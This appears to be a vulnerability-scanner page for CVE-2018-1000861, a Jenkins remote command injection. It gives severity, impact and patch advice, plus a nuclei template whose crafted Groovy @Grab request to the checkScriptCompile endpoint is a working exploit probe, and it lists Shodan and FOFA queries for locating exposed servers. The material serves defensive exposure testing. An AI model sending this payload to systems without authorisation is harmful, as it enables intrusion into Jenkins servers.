Jenkins - Remote Command Injection

Exploited in the wild. Listed by CISA on 2022-02-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server.

Fix

Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disab…
Positive when: contains "package#vulntest" AND status 200

Run it with nuclei: nuclei -id CVE-2018-1000861 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1000861

info:
  name: Jenkins - Remote Command Injection
  author: dhiyaneshDK,pikpikcu
  severity: critical
  description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server.
  remediation: |
    Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
    - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
    - http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html
    - https://access.redhat.com/errata/RHBA-2019:0024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
    epss-score: 0.98326
    epss-percentile: 0.99916
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: jenkins
    shodan-query:
      - http.favicon.hash:81586312
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve2018,cve,packetstorm,kev,vulhub,rce,jenkins,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "package#vulntest"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from